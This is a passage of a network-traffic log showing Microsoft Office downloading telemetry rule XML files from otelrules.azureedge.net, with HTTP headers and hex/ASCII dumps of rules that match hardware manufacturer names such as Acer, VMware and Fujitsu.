2024-12-03 16:54:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:51 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:51 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 79414491-c01e-0014-1360-43a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165451Z-174f7845968xlwnmhC1EWR0sv8000000160000000000kk9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:51 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:51 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:51 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165451Z-174f7845968frfdmhC1EWRxxbw000000169g000000008qkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:51 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:51 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165451Z-174f7845968xr5c2hC1EWRd0hn0000000qy000000000v95z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:53 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 21fb2ca2-701e-006f-1cf2-44afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165453Z-174f7845968glpgnhC1EWR7uec000000168000000000y4nt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:53 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:53 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 8eb7c5a6-701e-0097-59ef-44b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165453Z-174f7845968px8v7hC1EWR08ng00000016h0000000005pmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:53 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:53 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:53 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 0e02d283-301e-000c-5b32-44323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165453Z-174f7845968psccphC1EWRuz9s00000016gg000000006yak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:53 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:53 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:53 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e94c41b0-301e-0000-6d41-41eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165453Z-174f784596886s2bhC1EWR743w000000166g00000000m2st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:53 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:54 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:54 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: ef6c78e4-401e-0067-2ec7-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165454Z-174f7845968qj8jrhC1EWRh41s000000161g00000000xznf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:54 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:55 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: e044a7be-f01e-003c-0c76-438cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165455Z-174f7845968cdxdrhC1EWRg0en0000001680000000003bt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:55 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 264c510b-001e-000b-0eb2-4215a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165455Z-174f7845968xlwnmhC1EWR0sv8000000160g00000000hr5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:55 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:54:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:54:55 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 3f7caad5-701e-006f-6962-43afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165455Z-174f7845968ljs8phC1EWRe6en000000164g000000003n4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:54:56 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:54:55 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
